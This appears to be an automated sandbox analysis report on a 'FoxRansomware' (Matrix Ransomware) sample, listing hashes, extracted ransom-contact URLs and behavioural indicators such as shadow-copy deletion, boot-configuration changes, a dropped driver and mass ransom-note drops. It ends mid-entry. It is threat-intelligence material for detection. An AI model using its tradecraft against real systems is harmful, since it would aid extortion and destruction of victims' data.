Overview
overview
10Static
static
3FoxRansomw...65.exe
windows7-x64
10FoxRansomw...65.exe
windows10-2004-x64
10FoxRansomw...a7.exe
windows7-x64
10FoxRansomw...a7.exe
windows10-2004-x64
10FoxRansomw...20.exe
windows7-x64
10FoxRansomw...20.exe
windows10-2004-x64
10FoxRansomw...0b.exe
windows7-x64
10FoxRansomw...0b.exe
windows10-2004-x64
10FoxRansomw...53.exe
windows7-x64
10FoxRansomw...53.exe
windows10-2004-x64
10FoxRansomw...b1.exe
windows7-x64
10FoxRansomw...b1.exe
windows10-2004-x64
10Analysis
-
max time kernel
149s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
13-02-2024 05:15
Static task
static1
Behavioral task
behavioral1
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win10v2004-20231215-en
General
-
Target
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
-
Size
1.2MB
-
MD5
907636b28d162f7110b067a8178fa38c
-
SHA1
048ae4691fe267e7c8d9eda5361663593747142a
-
SHA256
6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b
-
SHA512
501a7ee7fc8c0869d3cb57be3a75be02f6a17583e524fae9fa29e149a7391a5ed79c45143c09c667eed7d2fe217503121e23edd6f1bac47c8ba7ec7a4ecbe04a
-
SSDEEP
24576:R/SA+2lraRrjSJR5ezmT1dM9tZBb5t+wb8fq/81mkvfW:3XlayIsy81hvf
Malware Config
Extracted
http://myexternalip.com/raw
Extracted
C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\#CORE_README#.rtf
https://bitmsg.me
https://bitmsg.me/users/sign_up
https://bitmsg.me/users/sign_in
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
Processes:
6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exedescription ioc process File created C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\lua\http\requests\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\SoftBlue\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\GrayCheck\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jre7\lib\zi\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\db\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jre7\lib\jfr\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\Certificates\groove.net\Components\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\hrtfs\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Sync Framework\v1.0\Runtime\x86\resources\1033\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BabyBlue\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Users\All Users\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\packages\vcRuntimeAdditional_x86\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jre7\lib\zi\Pacific\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\BORDERS\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1036\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Users\Admin\Contacts\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\MSBuild\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\Welcome Tool\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jre7\lib\zi\Australia\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Document Themes 14\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Lime\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Users\All Users\Microsoft\Assistance\Client\1.0\es-ES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Users\Admin\Desktop\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\skins\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Google\Chrome\Application\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\CONVERT\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Mozilla Firefox\fonts\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\skins\fonts\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\1033\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Users\All Users\Package Cache\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\packages\vcRuntimeMinimum_x86\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Users\All Users\Package Cache\{E30D8B21-D82D-3211-82CC-0F0A5D1495E8}v12.0.40660\packages\vcRuntimeMinimum_x86\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Users\All Users\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 2496 bcdedit.exe 2892 bcdedit.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 9 560 powershell.exe -
Drops file in Drivers directory 1 IoCs
Processes:
cIAicoUd64.exedescription ioc process File created C:\Windows\system32\Drivers\PROCEXP152.SYS cIAicoUd64.exe -
Sets service image path in registry 2 TTPs 1 IoCs
Processes:
cIAicoUd64.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" cIAicoUd64.exe -
Executes dropped EXE 3 IoCs
Processes:
NWp8CEAX.execIAicoUd.execIAicoUd64.exepid process 2700 NWp8CEAX.exe 2784 cIAicoUd.exe 3380 cIAicoUd64.exe -
Loads dropped DLL 4 IoCs
Processes:
6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.execmd.execIAicoUd.exepid process 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 2440 cmd.exe 2784 cIAicoUd.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\FoxRansomware\cIAicoUd.exe upx behavioral7/memory/2784-1733-0x0000000000400000-0x0000000000477000-memory.dmp upx -
Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
cIAicoUd64.exe6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exedescription ioc process File opened (read-only) \??\O: cIAicoUd64.exe File opened (read-only) \??\P: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\O: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\L: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\J: cIAicoUd64.exe File opened (read-only) \??\L: cIAicoUd64.exe File opened (read-only) \??\W: cIAicoUd64.exe File opened (read-only) \??\Z: cIAicoUd64.exe File opened (read-only) \??\Y: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\K: cIAicoUd64.exe File opened (read-only) \??\S: cIAicoUd64.exe File opened (read-only) \??\T: cIAicoUd64.exe File opened (read-only) \??\J: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\U: cIAicoUd64.exe File opened (read-only) \??\X: cIAicoUd64.exe File opened (read-only) \??\Y: cIAicoUd64.exe File opened (read-only) \??\X: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\S: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\R: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\N: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\A: cIAicoUd64.exe File opened (read-only) \??\H: cIAicoUd64.exe File opened (read-only) \??\P: cIAicoUd64.exe File opened (read-only) \??\V: cIAicoUd64.exe File opened (read-only) \??\Z: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\W: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\G: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\N: cIAicoUd64.exe File opened (read-only) \??\I: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\H: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\E: cIAicoUd64.exe File opened (read-only) \??\M: cIAicoUd64.exe File opened (read-only) \??\U: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\Q: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\M: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\K: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\R: cIAicoUd64.exe File opened (read-only) \??\G: cIAicoUd64.exe File opened (read-only) \??\I: cIAicoUd64.exe File opened (read-only) \??\Q: cIAicoUd64.exe File opened (read-only) \??\V: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\T: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\E: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\B: cIAicoUd64.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 8 myexternalip.com -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\goa4rOzf.bmp" reg.exe -
Drops file in Program Files directory 64 IoCs
Processes:
6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exedescription ioc process File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18236_.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\ACCTBOX.POC 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_ja.jar 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.util_1.0.500.v20130404-1337.jar 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-oql.xml 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\GrayCheck\TAB_ON.GIF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_SelectionSubpicture.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\VisualElements\LogoDev.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.nl_zh_4.4.0.v20140623020002.jar 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0182902.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0287417.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0239967.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0400003.PNG 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01627_.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18204_.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\LOOKUP.DAT 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0216874.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0239191.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BZCD98SP.POC 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Installed_resources14.xss 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02567J.JPG 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGLINACC.DPV 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\STORYVERTBB.POC 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH03224I.JPG 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0216540.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Metro.thmx 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\TAB_ON.GIF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD01074_.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099168.JPG 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\ECLIPSE_.RSA 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PPINTL.DLL.IDX_DLL 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\DataType\Phone.accft 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.xml 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.rcp_4.3.100.v20141007-2301.jar 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH00601G.GIF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01747_.GIF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Module.zip 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGPQUOT.DPV 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE02288_.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Angles.xml 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files 